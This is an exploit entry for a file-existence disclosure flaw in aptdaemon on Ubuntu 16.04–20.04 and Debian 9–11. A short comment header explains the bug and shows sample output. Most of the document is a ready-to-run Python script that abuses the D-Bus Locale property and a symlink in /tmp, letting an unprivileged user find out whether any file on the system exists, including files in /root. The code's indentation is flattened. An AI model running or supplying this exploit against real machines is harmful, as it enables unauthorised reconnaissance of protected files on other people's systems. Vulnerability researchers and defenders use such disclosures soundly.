aptdaemon File Existence Disclosure

`# Exploit Title: File Existence Disclosure in aptdaemon <= 1.1.1+bzr982-0ubuntu32.1  
# Date: 2020-10-27  
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)  
# Vendor Homepage: https://wiki.debian.org/aptdaemon  
# Software Link: https://wiki.debian.org/aptdaemon  
# Version: <= 1.1.1+bzr982-0ubuntu32.1  
# Tested on: Ubuntu 20.04  
#  
#!/usr/bin/env python3  
#  
# Ubuntu 16.04 - 20.04   
# Debian 9 - 11  
# aptdaemon < 1.1.1+bzr982-0ubuntu32.1  
# Sensitive Information Disclosure  
#   
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html  
#  
# There is no input validation on the Locale property in an   
# apt transaction. An unprivileged user can supply a full path  
# to a writable directory, which lets aptd read a file as root.   
# Having a symlink in place results in an error message if the   
# file exists, and no error otherwise. This way an unprivileged   
# user can check for the existence of any files on the system   
# as root.  
#  
# This is a similar type of bug as CVE-2015-1323.  
#  
#   
# $ ./test_file_exists.py /root/.bashrc  
# File Exists!  
# $ ./test_file_exists.py /root/.bashrca  
# File does not exist!  
#  
#  
  
import dbus  
import os  
import sys  
  
if len(sys.argv) != 2:  
print("Checks if file exists")  
print("Usage: %s <file>")  
sys.exit(0)  
  
FILE_TO_CHECK = sys.argv[1]  
  
bus = dbus.SystemBus()  
apt_dbus_object = bus.get_object("org.debian.apt", "/org/debian/apt")  
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.debian.apt")   
  
# just use any valid .deb file  
trans = apt_dbus_interface.InstallFile("/var/cache/apt/archives/dbus_1.12.14-1ubuntu2.1_amd64.deb", False)  
  
apt_trans_dbus_object = bus.get_object("org.debian.apt", trans)  
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.debian.apt.transaction")  
  
properties_manager = dbus.Interface(apt_trans_dbus_interface, 'org.freedesktop.DBus.Properties')  
  
os.mkdir("/tmp/a")  
os.mkdir("/tmp/a/LC_MESSAGES")  
os.symlink(FILE_TO_CHECK, "/tmp/a/LC_MESSAGES/aptdaemon.mo")  
  
try:  
properties_manager.Set("org.debian.apt.transaction", "Locale", "/tmp/a.")  
except:  
print("File Exists!")  
pass  
else:  
print("File does not exist!")  
  
os.unlink("/tmp/a/LC_MESSAGES/aptdaemon.mo")  
os.rmdir("/tmp/a/LC_MESSAGES")  
os.rmdir("/tmp/a")  
`